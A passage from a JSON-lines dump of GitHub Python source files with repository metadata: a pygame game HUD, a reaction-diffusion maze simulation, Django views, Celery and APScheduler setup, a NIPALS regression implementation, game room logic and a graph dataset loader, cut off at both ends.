size = life.get_size()\n            image_smaller = pygame.transform.smoothscale(life, (int(size[0] * 0.5), int(size[1] * 0.5)))\n            rect = image_smaller.get_rect()\n            rect.x = 30 + life_number * (rect.width + 20)\n            rect.y = rect.width + self.pos_y\n\n            self.screen.blit(image_smaller, (rect.x, rect.y))\n\n    def update_level(self, level):\n        level_image = self.lv_font.render('Level ' + str(level), True, self.setting.blue)\n        rect_lv_image = level_image.get_rect()\n        rect_lv_image.right = self.screen_rect.right - 20\n        rect_lv_image.top = self.screen_rect.top + 20\n\n        self.screen.blit(level_image, rect_lv_image)\n\n    def run_updates(self, hp, lives, level, score):\n        self.update_scores(score)\n        self.update_high_scores(score)\n        self.update_health(hp)\n        self.update_life(lives)\n        self.update_level(level)\n","repo_name":"minhngo3818/tank-destroyer","sub_path":"dist/data/src/interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":3459,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"11173706052","text":"from ardis import *\nimport ardis.d_geometry as dg\nimport ardis.geometry as geo\n\nimport numpy as np\n\nimport os\n\nmatrixFolder = \"data\"\noutputFolder = \"output\"\n\nreaction, drain, epsilon = 1,  1e-8, 1e-3\n\ndt, max_time = 0.1, 10\n\nplot_dt = 1\n\nname = \"maze\"\n\nprint(\"Starting exploration on experiment :\", name)\n\ndampingPath = matrixFolder+\"/\"+name+\"_damping.mtx\"\nstiffnessPath = matrixFolder+\"/\"+name+\"_stiffness.mtx\"\nmeshPath = matrixFolder + \"/\" + name + \"_mesh.dat\"\n\nMesh = dg.read_mesh(meshPath)\n\nd_S = to_d_spmatrix(read_spmatrix(\n    stiffnessPath, read_type.Symetric), matrix_type.CSR)\nprint(\"Stiffness matrix loaded ...\")\nd_D = to_d_spmatrix(read_spmatrix(\n    dampingPath, read_type.Symetric), matrix_type.CSR)\nprint(\"Dampness matrix loaded ...\")\n\nst = state(d_D.shape[0])\nn = len(Mesh.x)\n\nU = d_vector(n)\nU.fill_value(0)\n\nd_Mesh = dg.d_mesh(Mesh.x, Mesh.y)\n\nstartZone = dg.rect_zone(dg.point2d(0, 0), dg.point2d(500, 10))\ndg.fill_zone(U, d_Mesh, startZone, 1)\n\nst.add_species(\"N\")\nst.set_species(\"N\", U)\nst.add_species(\"P\")\nst.set_species(\"P\", U)\nst.add_species(\"NP\")\nst.set_species(\"NP\", np.zeros(len(U)))\n\nsimu = simulation(st)\nsimu.drain = drain\nsimu.epsilon = epsilon\n\nsimu.load_stiffness_matrix(d_S)\nsimu.load_dampness_matrix(d_D)\n\nsimu.add_mm_reaction(\" N -> 2 N\", reaction, 1)\nsimu.add_reaction(\" N+P -> NP\", reaction)\nsimu.add_mm_reaction(\" NP -> 2P\", reaction, 1)\n# simu.add_reaction(\"N+P-> 2P\", reaction)\n\nNit = int(max_time / dt)\nverboseCount = 0\nplotcount = 0\n\nos.system(\"mkdir \" + outputFolder + \"/\" + name)\n\nfor i in range(0, Nit):\n    simu.iterate_diffusion(dt)\n    simu.prune()\n    simu.iterate_reaction(dt, True)\n\n    os.system(\"rm -f test\")\n    write_file(simu.state, \"test\")\n    print(simu.state == read_state(\"test\"))\n\n    if (i * dt > plot_dt * plotcount):\n        plotcount += 1\n        fig = plot_state(simu.state, Mesh, excludeSpecies=[\"NP\"])\n        fig.savefig(\n            outputFolder + \"/\"+name+\"/\" + str(i) + \".png\")\n        plt.close(fig)\n\n    if Nit >= 100 and i >= verboseCount * Nit / 10 and i < verboseCount * Nit / 10 + 1:\n        print(str(verboseCount * 10) + \"% completed\")\n        verboseCount += 1\n\nos.system(\"convert -delay 10 -loop 0 $(ls -1 \"+outputFolder +\n          \"/\" + name + \"/*png | sort -V) \" + outputFolder + \"/\" + name + \".gif\" + \" && \" +\n          \"rm -rf \" + outputFolder + \"/\" + name)\n\nprint(\"Results plot have been saved here: \" +\n      outputFolder + \"/\" + name + \".gif\")\n","repo_name":"hedi-sel/ARDiS","sub_path":"example/MazeExplorer.py","file_name":"MazeExplorer.py","file_ext":"py","file_size_in_byte":2435,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"16"}
+{"seq_id":"27691457184","text":"from django.shortcuts import render\nfrom django.template import RequestContext, loader\nimport json\n\nfrom dcload_control import glo_dcload\n\n# Create your views here.\n\nfrom django.http import HttpResponse\n\n\ndef index(request):\n    template = loader.get_template('dcload_ui/index.html')\n    context = RequestContext(request, {});\n    return HttpResponse(template.render(context))\n\n\ndef setDesiredMa(request):\n    value = request.GET.get(\"value\",  \"0\")\n    value = float(value)\n    glo_dcload.set_new_desired_ma(value)\n\n    return HttpResponse(\"okey dokey\")\n\n\ndef setPower(request):\n    # not implemented\n\n    return HttpResponse(\"okey dokey\")\n\n\ndef getStatus(request):\n    result = {\"actual_ma\": glo_dcload.actual_ma,\n              \"actual_volts\": glo_dcload.actual_volts,\n              \"actual_watts\": glo_dcload.actual_watts,\n              \"actual_temp\": glo_dcload.temperature,\n              \"desired_ma\": glo_dcload.desired_ma,\n              \"new_desired_ma\": glo_dcload.new_desired_ma,\n              \"power\": True}\n\n    return HttpResponse(json.dumps(result), content_type='application/javascript')\n","repo_name":"sbelectronics/pi-dcload","sub_path":"dcload_ui/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"16"}
+{"seq_id":"25969276240","text":"'''\nCreated on 19 feb 2018\n\n@author: Serena Sensini; Enzo Cocca <enzo.ccc@gmail.com>\n'''\n\n\nclass STRUTTURA(object):\n    def __init__(self,\n                 id_struttura,\n                 sito,\n                 sigla_struttura,\n                 numero_struttura,\n                 categoria_struttura,\n                 tipologia_struttura,\n                 definizione_struttura,\n                 descrizione,\n                 interpretazione,\n                 periodo_iniziale,\n                 fase_iniziale,\n                 periodo_finale,\n                 fase_finale,\n                 datazione_estesa,\n                 materiali_impiegati,\n                 elementi_strutturali,\n                 rapporti_struttura,\n                 misure_struttura\n                 ):\n        self.id_struttura = id_struttura  # 0\n        self.sito = sito  # 1\n        self.sigla_struttura = sigla_struttura  # 2\n        self.numero_struttura = numero_struttura  # 3\n        self.categoria_struttura = categoria_struttura  # 4\n        self.tipologia_struttura = tipologia_struttura  # 5\n        self.definizione_struttura = definizione_struttura  # 6\n        self.descrizione = descrizione  # 7\n        self.interpretazione = interpretazione  # 8\n        self.periodo_iniziale = periodo_iniziale  # 9\n        self.fase_iniziale = fase_iniziale  # 10\n        self.periodo_finale = periodo_finale  # 11\n        self.fase_finale = fase_finale  # 12\n        self.datazione_estesa = datazione_estesa  # 13\n        self.materiali_impiegati = materiali_impiegati  # 14\n        self.elementi_strutturali = elementi_strutturali  # 15\n        self.rapporti_struttura = rapporti_struttura  # 16\n        self.misure_struttura = misure_struttura  # 17\n\n    def __repr__(self):\n        return \"<STRUTTURA('%d', '%s', '%s', '%d', '%s', '%s', '%s', '%s', '%s', '%d', '%d', '%d', '%d', '%s', '%s', '%s', '%s', '%s')>\" % (\n            self.id_struttura,\n            self.sito,\n            self.sigla_struttura,\n            self.numero_struttura,\n            self.categoria_struttura,\n            self.tipologia_struttura,\n            self.definizione_struttura,\n            self.descrizione,\n            self.interpretazione,\n            self.periodo_iniziale,\n            self.fase_iniziale,\n            self.periodo_finale,\n            self.fase_finale,\n            self.datazione_estesa,\n            self.materiali_impiegati,\n            self.elementi_strutturali,\n            self.rapporti_struttura,\n            self.misure_struttura\n        )\n","repo_name":"pyarchinit/pyarchinit","sub_path":"modules/db/entities/STRUTTURA.py","file_name":"STRUTTURA.py","file_ext":"py","file_size_in_byte":2521,"program_lang":"python","lang":"it","doc_type":"code","stars":6,"dataset":"github-code","pt":"16"}
+{"seq_id":"50692915596","text":"from celery import Celery\nfrom gevent import Timeout\nfrom app.redis_utils import Redis\n\n\ndef make_celery(app):\n    celery = Celery(\n        app.import_name,\n        backend=app.config['CELERY_RESULT_BACKEND'],\n        broker=app.config['CELERY_BROKER_URL']\n    )\n    celery.conf.update(app.config)\n    celery.conf['BROKER_TRANSPORT_OPTIONS'] = {'visibility_timeout': 3600, 'socket_timeout': 3600} # 1 hour\n    celery.conf['RESULT_BACKEND_TRANSPORT_OPTIONS'] = {'socket_timeout': 3600}\n\n    class ContextTask(celery.Task):\n        timeout = 3600\n\n        def __call__(self, *args, **kwargs):\n            with app.app_context():\n                with Timeout(self.timeout, TimeoutError(f\"Task {self.name} timed out\")):\n                    return self.run(*args, **kwargs)\n\n    celery.Task = ContextTask\n    return celery\n","repo_name":"JaskaranSinghKawatra/FairnessProject","sub_path":"flask_project/app/celery_utils.py","file_name":"celery_utils.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12449532518","text":"from enum import Enum, auto\nfrom typing import Optional, List\n\nfrom ._AbstractMultiResponsePLS import AbstractMultiResponsePLS\nfrom ...core import ZERO, real, ONE\nfrom ...core.matrix import Matrix, factory\nfrom ...transformation import Standardize\n\n\nclass NIPALS(AbstractMultiResponsePLS):\n    \"\"\"\n    Nonlinear Iterative Partial Least Squares\n\n    Implementation oriented at scikit-learn's NIPALS implementation:\n    <a href=\"https://github.com/scikit-learn/scikit-learn/blob/ed5e127b/sklearn/cross_decomposition/pls_.py#L455\">\n        Github scikit-learn NIPALS\n    </a>\n\n    Parameters:\n    - tol: Iterative convergence tolerance\n    - maxIter: Maximum number of iterations\n    - normYWeights: Flat to normalize Y weights\n    - deflationMode: Mode for Y matrix deflation. Can be either CANONICAL or REGRESSION\n    \"\"\"\n    def __init__(self):\n        super().__init__()\n        self.X_scores: Optional[Matrix] = None  # Scores on X\n        self.Y_scores: Optional[Matrix] = None  # Scores on Y\n        self.X_loadings: Optional[Matrix] = None  # Loadings on X\n        self.Y_loadings: Optional[Matrix] = None  # Loadings on Y\n        self.X_weights: Optional[Matrix] = None  # Weights on X\n        self.Y_weights: Optional[Matrix] = None  # Weights on Y\n        self.X_rotations: Optional[Matrix] = None  # Projection of X into latent space\n        self.Y_rotations: Optional[Matrix] = None  # Projection of Y into latent space\n        self.X: Optional[Matrix] = None  # Training points\n        self.coef: Optional[Matrix] = None  # Regression coefficients\n        self.tol: real = real(1e-6)  # Inner NIPALS loop improvement tolerance\n        self.max_iter: int = 500  # Inner NIPALS loop maximum number of iterations\n        self.norm_Y_weights: bool = False  # Flag to normalize Y weights\n        self.standardize_X: Optional[Standardize] = None  # Standarize X tranformation\n        self.standardize_Y: Optional[Standardize] = None  # Standardize Y transformation\n        self.deflation_mode: DeflationMode = DeflationMode.REGRESSION\n\n    def initialize(self, predictors: Optional[Matrix] = None, response: Optional[Matrix] = None) -> Optional[str]:\n        if predictors is None and response is None:\n            super().initialize()\n            self.tol = real(1e-6)\n            self.max_iter = 500\n            self.norm_Y_weights = False\n            self.standardize_X = Standardize()\n            self.standardize_Y = Standardize()\n            self.deflation_mode = DeflationMode.REGRESSION\n        else:\n            return super().initialize(predictors, response)\n\n    @staticmethod\n    def validate_max_iter(value: int) -> bool:\n        return value >= 0\n\n    @staticmethod\n    def validate_tol(value: real) -> bool:\n        return value >= ZERO\n\n    def get_min_columns_response(self) -> int:\n        return 1\n\n    def get_max_columns_response(self) -> int:\n        return -1\n\n    def do_perform_initialization(self, predictors: Matrix, response: Matrix) -> Optional[str]:\n        # Init\n        X: Matrix = predictors\n        X = self.standardize_X.transform(X)\n        Y: Matrix = response\n        Y = self.standardize_Y.transform(Y)\n\n        # Dimensions\n        num_rows: int = X.num_rows()\n        num_features: int = X.num_columns()\n        num_classes: int = Y.num_columns()\n        num_components: int = self.num_components\n\n        # Init matrices\n        self.X_scores = factory.zeros(num_rows, num_components)  # T\n        self.Y_scores = factory.zeros(num_rows, num_components)  # U\n\n        self.X_weights = factory.zeros(num_features, num_components)  # W\n        self.Y_weights = factory.zeros(num_classes, num_components)  # C\n\n        self.X_loadings = factory.zeros(num_features, num_components)  # P\n        self.Y_loadings = factory.zeros(num_classes, num_components)  # Q\n\n        yk_loading: Matrix = factory.zeros(num_classes, 1)\n\n        eps: real = real(1e-10)\n        for k in range(num_components):\n            if Y.transpose().mul(Y).all(lambda e: e < eps):\n                self.logger.warning('Y residual constant at iteration ' + str(k))\n                break\n\n            res: NipalsLoopResult = self.nipals_loop(X, Y)\n            xk_weight: Matrix = res.X_weights\n            yk_weight: Matrix = res.Y_weights\n\n            # Calculate latent X and Y scores\n            xk_score: Matrix = X.mul(xk_weight)\n            yk_score: Matrix = Y.mul(yk_weight).div(yk_weight.norm2_squared())\n\n            if xk_score.norm2_squared() < eps:\n                self.logger.warning('X scores are null at component ' + str(k))\n                break\n\n            # Deflate X\n            xk_loading: Matrix = X.transpose().mul(xk_score).div(xk_score.norm2_squared())\n            X = X.sub(xk_score.mul(xk_loading.transpose()))\n\n            # Deflate Y\n            if self.deflation_mode is DeflationMode.CANONICAL:\n                yk_loading: Matrix = Y.transpose().mul(yk_score).div(yk_score.norm2_squared())\n                Y = Y.sub(yk_score.mul(yk_loading.transpose()))\n            elif self.deflation_mode is DeflationMode.REGRESSION:\n                yk_loading: Matrix = Y.transpose().mul(xk_score).div(xk_score.norm2_squared())\n                Y = Y.sub(xk_score.mul(yk_loading.transpose()))\n\n            # Store results\n            self.X_scores.set_column(k, xk_score)\n            self.Y_scores.set_column(k, yk_score)\n            self.X_weights.set_column(k, xk_weight)\n            self.Y_weights.set_column(k, yk_weight)\n            self.X_loadings.set_column(k, xk_loading)\n            self.Y_loadings.set_column(k, yk_loading)\n\n        self.X = X\n        self.X_rotations = self.X_weights.mul((self.X_loadings.transpose().mul(self.X_weights)).pseudo_inverse())\n        if Y.num_columns() > 1:\n            self.Y_rotations = self.Y_weights.mul((self.Y_loadings.transpose().mul(self.Y_weights)).pseudo_inverse())\n        else:\n            self.Y_rotations = factory.filled(1, 1, ONE)\n\n        # Calculate regression coefficients\n        y_stds: Matrix = self.standardize_Y.get_std_devs()\n        self.coef = self.X_rotations.mul(self.Y_loadings.transpose()).scale_by_row_vector(y_stds)\n        return None\n\n    def nipals_loop(self, X: Matrix, Y: Matrix) -> 'NipalsLoopResult':\n        \"\"\"\n        Perform the inner NIPALS loop.\n\n        :param X:   Predictors matrix.\n        :param Y:   Response matrix.\n        :return:    NipalsLoopResult.\n        \"\"\"\n        iterations: int = 0\n\n        y_score: Matrix = Y.get_column(0)  # (y scores)\n        X_weight_old: Matrix = factory.zeros(X.num_columns(), 1)\n        X_p_inv: Optional[Matrix] = None\n        Y_p_inv: Optional[Matrix] = None\n\n        eps: real = real(1e-16)\n\n        # Repeat 1) - 3) until convergence: either change of u is lower than m_Tol or maximum\n        # number of iterations has been reached (m_MaxIter)\n        while True:\n            # 1) Update X weights\n            if self.get_weight_calculation_mode() is WeightCalculationMode.CCA:\n                if X_p_inv is None:\n                    # sklearn uses pinv here which ojAlgo implicitly does\n                    X_p_inv = X.inverse()\n                X_weight: Matrix = X_p_inv.mul(y_score)\n            else:  # PLS\n                X_weight: Matrix = X.transpose().mul(y_score).div(y_score.norm2_squared())\n\n            # Add eps if necessary to converge to a more acceptable solution\n            if X_weight.norm2_squared() < eps:\n                X_weight = X_weight.add(eps)\n\n            # Normalize\n            X_weight = X_weight.div(X_weight.norm2() + eps)\n\n            # 2) Calculate latent X scores\n            X_score: Matrix = X.mul(X_weight)\n\n            # 3) Update Y weights\n            if self.get_weight_calculation_mode() is WeightCalculationMode.CCA:\n                if Y_p_inv is None:\n                    # sklearn uses pinv here which ojAlgo implicitly does\n                    Y_p_inv = Y.inverse()\n                Y_weight: Matrix = Y_p_inv.mul(X_score)\n            else:  # PLS\n                # WeightCalculationMode A: Regress each Y column on xscore\n                Y_weight: Matrix = Y.transpose().mul(X_score).div(X_score.norm2_squared())\n\n            # Normalise Y weights\n            if self.norm_Y_weights:\n                Y_weight = Y_weight.div(Y_weight.norm2() + eps)\n\n            # 4) Calculate ykScores\n            Y_score: Matrix = Y.mul(Y_weight).div(Y_weight.norm2_squared() + eps)\n\n            X_weight_diff: Matrix = X_weight.sub(X_weight_old)\n\n            if X_weight_diff.norm2_squared() < self.tol or Y.num_columns() == 1:\n                break\n\n            if iterations >= self.max_iter:\n                break\n\n            # Update stopping conditions\n            X_weight_old = X_weight\n            iterations += 1\n\n        return NipalsLoopResult(X_weight, Y_weight, iterations)\n\n    def do_perform_predictions(self, predictors: Matrix) -> Matrix:\n        X: Matrix = self.standardize_X.transform(predictors)\n\n        Y_means: Matrix = self.standardize_Y.get_means()\n        Y_hat: Matrix = X.mul(self.coef).add_by_vector(Y_means)\n        return Y_hat\n\n    def do_transform(self, predictors: Matrix) -> Matrix:\n        X: Matrix = self.standardize_X.transform(predictors)\n\n        # Apply rotations\n        X_scores: Matrix = X.mul(self.X_rotations)\n        return X_scores\n\n    def do_transform_response(self, response: Matrix) -> Matrix:\n        Y: Matrix = self.standardize_Y.transform(response)\n\n        # Apply rotations\n        Y_scores: Matrix = Y.mul(self.Y_rotations)\n        return Y_scores\n\n    def get_matrix_names(self) -> List[str]:\n        return ['T', 'U', 'P', 'Q']\n\n    def get_matrix(self, name: str) -> Optional[Matrix]:\n        if name == 'T':\n            return self.X_scores\n        elif name == 'U':\n            return self.Y_scores\n        elif name == 'P':\n            return self.X_loadings\n        elif name == 'Q':\n            return self.Y_loadings\n        return None\n\n    def has_loadings(self) -> bool:\n        return True\n\n    def reset(self):\n        super().reset()\n        self.X_scores = None\n        self.Y_scores = None\n        self.X_loadings = None\n        self.Y_loadings = None\n        self.X_weights = None\n        self.Y_weights = None\n        self.coef = None\n        self.X = None\n        self.X_rotations = None\n        self.Y_rotations = None\n        self.standardize_X = Standardize()\n        self.standardize_Y = Standardize()\n\n    def get_loadings(self) -> Optional[Matrix]:\n        return self.X_loadings\n\n    def can_predict(self) -> bool:\n        return True\n\n    def get_weight_calculation_mode(self) -> 'WeightCalculationMode':\n        return WeightCalculationMode.PLS  # Mode A in sklearn\n\n\nclass NipalsLoopResult:\n    \"\"\"\n    NIPALS loop result: x and y weight matrices and number of iterations.\n    \"\"\"\n    def __init__(self, X_weights: Matrix, Y_weights: Matrix, iterations: int):\n        self.X_weights: Matrix = X_weights\n        self.Y_weights: Matrix = Y_weights\n        self.iterations: int = iterations\n\n\nclass DeflationMode(Enum):\n    \"\"\"\n    Deflation mode enum.\n    \"\"\"\n    CANONICAL = auto()\n    REGRESSION = auto()\n\n\nclass WeightCalculationMode(Enum):\n    \"\"\"\n    Mode for x/y-weight calculation\n    \"\"\"\n    PLS = auto()\n    CCA = auto()\n","repo_name":"waikato-datamining/py-matrix-algorithms","sub_path":"src/wai/ma/algorithm/pls/_NIPALS.py","file_name":"_NIPALS.py","file_ext":"py","file_size_in_byte":11223,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"16"}
+{"seq_id":"24705315272","text":"#-*-coding: utf-8 -*-\n\nfrom pytz import timezone\n\nfrom apscheduler.schedulers.background import BackgroundScheduler\nfrom apscheduler.jobstores.sqlalchemy import SQLAlchemyJobStore\nfrom apscheduler.jobstores.redis import RedisJobStore\nfrom apscheduler.executors.pool import ProcessPoolExecutor\nfrom apscheduler.events import EVENT_JOB_ADDED\n\n\nscheduler = BackgroundScheduler()\n\n\ndef start_scheduler(settings):\n    assert settings['scheduler.store'] in ('redis', 'sqlalchemy'),\\\n        'Uknown job store, must by one of redis or sqlalchemy'\n\n    if settings['scheduler.store'] == 'redis':\n        jobstores = {\n            'default': RedisJobStore(db=settings['scheduler.db'])\n        }\n    else:\n        jobstores = {\n            'default': SQLAlchemyJobStore(url=settings['scheduler.url'])\n        }\n        \n    executors = {\n        'default': {\n            'type': settings['scheduler.executors.type'],\n            'max_workers': settings['scheduler.executors.max_workers']\n        },\n        'processpool': ProcessPoolExecutor(\n            max_workers=settings['scheduler.executors.processpool.max_workers']\n        )\n    }\n    job_defaults = {\n        'coalesce': False,\n        'max_instances': settings['scheduler.job_defaults.max_instances']\n    }\n    scheduler.configure(\n        jobstores=jobstores,\n        executors=executors,\n        job_defaults=job_defaults,\n        timezone=timezone('UTC')\n    )\n    if settings['scheduler.autostart'] == 'true':\n        scheduler.start()\n\n\ndef job_added_event(event):\n    job = scheduler.get_job(event.job_id)\n    if hasattr(job.func, 'scopped'):\n        kwargs = job.kwargs\n        kwargs['_job_id'] = job.id\n        scheduler.modify_job(\n            event.job_id, None, **{'kwargs': kwargs}\n        )\n\n\nscheduler.add_listener(job_added_event, EVENT_JOB_ADDED)\n","repo_name":"mazvv/travelcrm","sub_path":"travelcrm/lib/scheduler/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1814,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"16"}
+{"seq_id":"10085560612","text":"# Gold 4 - 알파벳\n\nimport sys\ninput = sys.stdin.readline\n\n# BFS\ndef bfs():\n    global ans\n    q = set([(0, 0, board[0][0])])\n\n    while q:\n        x, y, a = q.pop()\n        ans = max(ans, len(a))\n\n        for dx, dy in dxy:\n            nx, ny = x + dx, y + dy\n\n            if 0 <= nx < r and 0 <= ny < c and board[nx][ny] not in a:\n                q.add((nx, ny, a + board[nx][ny]))\n\nr, c = map(int, input().split())\nboard = [input().rstrip() for _ in range(r)]\ndxy = [(-1, 0), (1, 0), (0, 1), (0, -1)]\nans = 0\n\nbfs()\nprint(ans)\n\n# Backtracking -> Python3 시간 초과, Pypy3 통과\n# def dfs(x, y, cnt):\n#     global ans\n#     ans = max(ans, cnt)\n\n#     for dx, dy in dxy:\n#         nx, ny = x + dx, y + dy\n\n#         if 0 <= nx < r and 0 <= ny < c and not visited[board[nx][ny]]:\n#             visited[board[nx][ny]] = True\n#             dfs(nx, ny, cnt + 1)\n#             visited[board[nx][ny]] = False\n\n# r, c = map(int, input().split())\n# board = [list(map(lambda s: ord(s) - 65, input().rstrip())) for _ in range(r)]\n# visited = [False] * 26\n# visited[board[0][0]] = 1\n# dxy = [(-1, 0), (1, 0), (0, 1), (0, -1)]\n# ans = 0\n\n# dfs(0, 0, 1)\n# print(ans)","repo_name":"vhzkclq0705/Algorithm_Problem_Solving","sub_path":"BackJoon/기출문제모음/1987.py","file_name":"1987.py","file_ext":"py","file_size_in_byte":1160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"38072054389","text":"\"\"\" Manages actual screen display w all sprites and elements, hardcoded values included \"\"\"\n\nimport sprites_management.sprites_manager\nfrom sprites_management.sprites_functions import extract_doors_sides\nfrom management_and_config.configurations import *\nfrom resources import image_manager\n\npygame.init()\n\n\nclass Room:\n    def __init__(self, room_size, doors_config, room_enemies, doors, shop=None):\n        # specification of the room\n        self._size = room_size\n\n        self._enemies_on_start = []\n        for enemy in room_enemies:\n            self._enemies_on_start.append(enemy.id)\n\n        # minimap\n        self._visited = False\n\n        # walls group\n        self._walls = pygame.sprite.Group()\n        sprites_management.sprites_manager.add_walls(self._walls, room_size, extract_doors_sides(doors_config))\n\n        # doors group\n        self._doors = pygame.sprite.Group()\n        sprites_management.sprites_manager.add_doors_room(self._doors, doors)\n\n        # enemies group\n        self._enemies = pygame.sprite.Group()\n        sprites_management.sprites_manager.add_enemies(self._enemies, room_enemies)\n\n        # dropped items group\n        self._drop = pygame.sprite.Group()\n\n        # self._shop = shop # TODO : shop is a dict of items with prices (or None if its not a shop)\n        self._shop = {\"sword\": 20, \"health_potion\": 2}  # TODO get from a file? configurations? (ex. shop1 = {...} shop2 =\n\n    def draw_room(self):\n        screen.fill(WHITE)\n        self.terrain_display()\n        self.wall_display()\n        self.door_display()\n        self.enemy_display()\n        self.drop_display()\n\n    def terrain_display(self):\n        terrain_image = image_manager.get_terrain_image()\n        screen.blit(terrain_image, terrain_image_start_point)\n\n    def wall_display(self):\n        self._walls.draw(screen)\n\n    def door_display(self):\n        self._doors.draw(screen)\n\n    def enemy_display(self):\n        self._enemies.draw(screen)\n\n        # displaying enemies' health\n        for enemy in self._enemies.sprites():\n            health = enemy.health\n            max_health = enemy.max_health\n            if health != max_health:\n                health_bar_start_point = [enemy.get_position()[0] + enemy_health_bar_display_difference[0],\n                                          enemy.get_position()[1] + enemy_health_bar_display_difference[1]]\n\n                health_text_center = [health_bar_start_point[0] + enemy_health_text_center_difference[0],\n                                      health_bar_start_point[1] + enemy_health_text_center_difference[1]]\n\n                # health bar\n                pygame.draw.rect(screen, PINK, (health_bar_start_point[0], health_bar_start_point[1],\n                                                enemy_health_bar_length, enemy_health_bar_width))\n\n                pygame.draw.rect(screen, RED, (health_bar_start_point[0], health_bar_start_point[1],\n                                               enemy_health_bar_length * health / max_health, enemy_health_bar_width))\n\n                # text: current health / max health in the center of health bar\n                health_text = enemy_health_font.render(str(health) + \"/\" + str(max_health), True, BLACK)\n                health_text_rect = health_text.get_rect()\n                health_text_rect.center = health_text_center\n                screen.blit(health_text, health_text_rect)\n\n    def drop_display(self):\n        self._drop.draw(screen)\n\n    def visit(self):\n        self._visited = True\n\n    def kill_enemy(self, enemy, time):\n        sprites_management.sprites_manager.add_drop(self._drop, enemy, time)\n        self._enemies.remove(enemy)\n\n    def remove_drop(self, drop):\n        self._drop.remove(drop)\n\n    def update_active_enemies(self, active_enemies):\n        for enemy_id in self._enemies_on_start:\n            active_enemies[enemy_id] = 0\n\n        for enemy in self._enemies:\n            active_enemies[enemy.id] = 1\n\n        return active_enemies\n\n    def update_doors(self, open_doors):\n        for door in self._doors:\n            open_doors[door.id] = 0 if door.closed else 1\n        return open_doors\n\n    def open_door(self, character):\n        for door in self._doors.sprites():\n            door_pos = door.get_position_center()\n            character_pos = character.get_position_center()\n            if door.closed and ((character_pos[0] - door_pos[0]) ** 2 + (\n                    character_pos[1] - door_pos[1]) ** 2) < distance_to_open_door ** 2 and \\\n                    character.keys[door.color] > 0:\n                character.use_key(door.color)\n                door.open()\n                return True\n        return False\n\n    def enter_shop(self, character):  # TODO edit\n        if self._shop is not None:\n            # check if is near the building\n            return True\n        return False\n\n\n    @property\n    def size(self):\n        \"\"\" size of the room \"\"\"\n        return self._size\n\n    @property\n    def visited(self):\n        \"\"\" if the room has been visited \"\"\"\n        return self._visited\n\n    @property\n    def walls(self):\n        \"\"\" room's walls (sprite group of walls) \"\"\"\n        return self._walls\n\n    @property\n    def doors(self):\n        \"\"\" room's doors (sprite group of doors) \"\"\"\n        return self._doors\n\n    @property\n    def enemies(self):\n        \"\"\" room's enemies (sprite group of enemies) \"\"\"\n        return self._enemies\n\n    @property\n    def dropped_items(self):\n        \"\"\" items dropped in the room (sprite group of drops) \"\"\"\n        return self._drop\n\n    @property\n    def shop(self):\n        \"\"\" dictionary of shop inventory: \"item_name\": price \"\"\"\n        return self._shop\n","repo_name":"agga1/DanJyncesDungeons","sub_path":"worlds_management/Room.py","file_name":"Room.py","file_ext":"py","file_size_in_byte":5671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"24405912701","text":"import torch\n\nfrom .load_data import DATAPATH\nfrom .data_utils import rand_train_test_idx, even_quantile_labels\nfrom ogb.nodeproppred import NodePropPredDataset\n\n\nclass NCDataset(object):\n    def __init__(self, name, root=f'{DATAPATH}'):\n        \"\"\"\n        based off of ogb NodePropPredDataset\n        https://github.com/snap-stanford/ogb/blob/master/ogb/nodeproppred/dataset.py\n        Gives torch tensors instead of numpy arrays\n            - name (str): name of the dataset\n            - root (str): root directory to store the dataset folder\n            - meta_dict: dictionary that stores all the meta-information about data. Default is None, \n                    but when something is passed, it uses its information. Useful for debugging for external contributers.\n        \n        Usage after construction: \n        \n        split_idx = dataset.get_idx_split()\n        train_idx, valid_idx, test_idx = split_idx[\"train\"], split_idx[\"valid\"], split_idx[\"test\"]\n        graph, label = dataset[0]\n        \n        Where the graph is a dictionary of the following form: \n        dataset.graph = {'edge_index': edge_index,\n                         'edge_feat': None,\n                         'node_feat': node_feat,\n                         'num_nodes': num_nodes}\n        For additional documentation, see OGB Library-Agnostic Loader https://ogb.stanford.edu/docs/nodeprop/\n        \"\"\"\n\n        self.name = name  # original name, e.g., ogbn-proteins\n        self.graph = {}\n        self.label = None\n\n    def get_idx_split(self, split_type='random', train_prop=.5, valid_prop=.25):\n        \"\"\"\n        train_prop: The proportion of dataset for train split. Between 0 and 1.\n        valid_prop: The proportion of dataset for validation split. Between 0 and 1.\n        \"\"\"\n\n        if split_type == 'random':\n            ignore_negative = False if self.name == 'ogbn-proteins' else True\n            train_idx, valid_idx, test_idx = rand_train_test_idx(\n                self.label, train_prop=train_prop, valid_prop=valid_prop, ignore_negative=ignore_negative)\n            split_idx = {'train': train_idx,\n                         'valid': valid_idx,\n                         'test': test_idx}\n        return split_idx\n\n    def __getitem__(self, idx):\n        assert idx == 0, 'This dataset has only one graph'\n        return self.graph, self.label\n\n    def __len__(self):\n        return 1\n\n    def __repr__(self):\n        return '{}({})'.format(self.__class__.__name__, len(self))\n\n\ndef load_nc_dataset(dataname, sub_dataname=''):\n    \"\"\" Loader for NCDataset, returns NCDataset. \"\"\"\n    if dataname == 'arxiv-year':\n        dataset = load_arxiv_year_dataset()\n    else:\n        raise ValueError('Invalid dataname')\n    return dataset\n\n\ndef load_arxiv_year_dataset(nclass=5):\n    filename = 'arxiv-year'\n    dataset = NCDataset(filename)\n    ogb_dataset = NodePropPredDataset(root=DATAPATH, name='ogbn-arxiv')\n    dataset.graph = ogb_dataset.graph\n    dataset.graph['edge_index'] = torch.as_tensor(dataset.graph['edge_index'])\n    dataset.graph['node_feat'] = torch.as_tensor(dataset.graph['node_feat'])\n\n    label = even_quantile_labels(\n        